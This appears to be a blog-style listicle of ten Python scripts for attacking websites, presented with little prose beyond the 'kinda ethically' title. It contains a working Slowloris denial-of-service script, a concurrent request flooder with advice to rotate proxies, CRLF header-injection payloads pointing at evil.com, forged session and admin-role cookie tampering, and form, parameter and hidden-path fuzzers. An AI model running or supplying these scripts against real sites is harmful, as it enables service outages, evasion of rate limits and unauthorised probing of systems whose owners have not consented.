10 Python Scripts That Break Websites (Kinda Ethically)

import asyncio
import aiohttp

async def hammer_url(url, total_requests=500, delay=0):
    """Send concurrent requests and tally status codes."""
    headers = {"User-Agent": "RateLimitTester/1.0"}
    connector = aiohttp.TCPConnector(limit_per_host=100)
    async with aiohttp.ClientSession(connector=connector, headers=headers) as session:
        sem = asyncio.Semaphore(100)  # throttle concurrency
        async def _req(i):
            async with sem:
                if delay:
                    await asyncio.sleep(delay)
                try:
                    r = await session.get(url)
                    return r.status
                except Exception as e:
                    return f"err:{e.__class__.__name__}"
        statuses = await asyncio.gather(*[_req(i) for i in range(total_requests)])
        counts = {}
        for s in statuses:
            counts[s] = counts.get(s, 0) + 1
        print("Response distribution:", counts)

if __name__ == "__main__":
    asyncio.run(hammer_url("https://example.com/api", total_requests=300))

connector = aiohttp.TCPConnector(limit_per_host=10, ssl=False)
  session = aiohttp.ClientSession(connector=connector, trust_env=True)
  # Ensure your environment variables HTTP_PROXY/HTTPS_PROXY are set for rotating proxies.

import requests
import re
from bs4 import BeautifulSoup

def flood_captcha(endpoint, tries=100):
    """Hit the login page repeatedly and parse any CAPTCHA forms."""
    for i in range(1, tries + 1):
        r = requests.get(endpoint)
        if re.search(r"class=['\"]g-recaptcha['\"]", r.text):
            print(f"[!] CAPTCHA triggered on attempt {i}")
            soup = BeautifulSoup(r.text, "html.parser")
            token = soup.find("input", {"name": "csrf_token"})["value"]
            print("  → CSRF token found:", token)
            break
        if i % 10 == 0:
            print(f"Attempt {i}: no CAPTCHA yet")

if __name__ == "__main__":
    flood_captcha("https://example.com/login", tries=50)

import requests

def check_header_injection(url):
    custom_headers = {
        "X-Forwarded-For": "127.0.0.1\r\nLocation: https://evil.com",
        "X-Real-IP": "10.0.0.1\r\nSet-Cookie: hacked=true"
    }
    r = requests.get(url, headers=custom_headers, allow_redirects=False)
    print("Status:", r.status_code)
    for hdr, val in r.headers.items():
        if "evil.com" in val or "hacked=true" in val:
            print(f"[!] Injection succeeded: {hdr} → {val}")

if __name__ == "__main__":
    check_header_injection("https://example.com/data")

import asyncio, aiohttp

async def fuzz_form(session, url, wordlist_file="params.txt"):
    with open(wordlist_file) as f:
        fields = [w.strip() for w in f]
    for field in fields:
        data = {field: "test123", "csrf_token": "YOUR_TOKEN_HERE"}
        async with session.post(url, data=data) as resp:
            text = await resp.text()
            if "error" not in text.lower():
                print(f"[+] Field may exist: {field} (code {resp.status})")

async def main():
    async with aiohttp.ClientSession() as s:
        await fuzz_form(s, "https://example.com/submit")

if __name__ == "__main__":
    asyncio.run(main())

import requests

def spider_robots(base_url):
    r = requests.get(f"{base_url}/robots.txt")
    for line in r.text.splitlines():
        if line.lower().startswith("disallow"):
            path = line.split(":",1)[1].strip()
            full = base_url.rstrip("/") + path
            h = requests.head(full)
            print(f"{full} → {h.status_code}")

if __name__ == "__main__":
    spider_robots("https://example.com")

import requests

def tamper_cookie(url):
    # Try a forged session and an elevated role
    for val in ["malicious_session", "admin_role"]:
        cookies = {"session": val}
        resp = requests.get(url, cookies=cookies)
        print(f"{val}: {resp.status_code} {len(resp.content)} bytes")

if __name__ == "__main__":
    tamper_cookie("https://example.com/dashboard")

import socket, time

def slowloris(host, port=80, sockets_count=100):
    sockets = []
    for _ in range(sockets_count):
        s = socket.socket()
        s.settimeout(4)
        s.connect((host, port))
        s.send(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n")
        sockets.append(s)
    while True:
        for s in list(sockets):
            try:
                s.send(b"X-a: b\r\n")
            except:
                sockets.remove(s)
        time.sleep(15)

if __name__ == "__main__":
    slowloris("example.com")

import re, requests
from bs4 import BeautifulSoup

def crawl_hidden_links(url):
    r = requests.get(url)
    comments = re.findall(r"", r.text, re.DOTALL)
    for c in comments:
        for a in BeautifulSoup(c, "html.parser").find_all("a", href=True):
            print("Hidden link:", a["href"])

if __name__ == "__main__":
    crawl_hidden_links("https://example.com")

import requests

def param_fuzz(base_url, params):
    for p in params:
        url = f"{base_url}?{p}=1"
        r = requests.get(url, allow_redirects=False)
        if r.status_code == 200:
            print("Valid param:", p)
        elif 300 <= r.status_code < 400:
            print("Redirected by param:", p)

if __name__ == "__main__":
    fuzz_list = ["debug", "test", "mode", "admin", "verbose"]
    param_fuzz("https://example.com/page", fuzz_list)

import requests, xml.etree.ElementTree as ET

def parse_sitemap(url):
    r = requests.get(url)
    root = ET.fromstring(r.content)
    ns = {"ns":"http://www.sitemaps.org/schemas/sitemap/0.9"}
    for loc in root.findall(".//ns:loc", ns):
        print("Sitemap URL:", loc.text)
        h = requests.head(loc.text)
        print("  →", h.status_code)

if __name__ == "__main__":
    parse_sitemap("https://example.com/sitemap.xml")